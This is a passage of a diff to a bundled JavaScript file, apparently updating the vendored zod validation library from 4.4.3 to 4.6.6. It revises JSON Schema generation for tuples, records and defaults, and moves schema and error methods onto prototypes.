? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66848,61 +71324,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66913,35 +71465,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66949,32 +71521,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -67019,14 +71591,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67038,7 +71610,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67049,12 +71621,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67064,6 +71636,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67107,7 +71680,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67122,6 +71695,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67129,10 +71704,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67148,6 +71723,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67161,8 +71737,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67218,10 +71800,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67238,6 +71822,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67303,7 +71888,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67326,6 +71911,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67337,88 +71923,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67432,182 +71983,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67653,38 +72224,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67693,6 +72316,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, 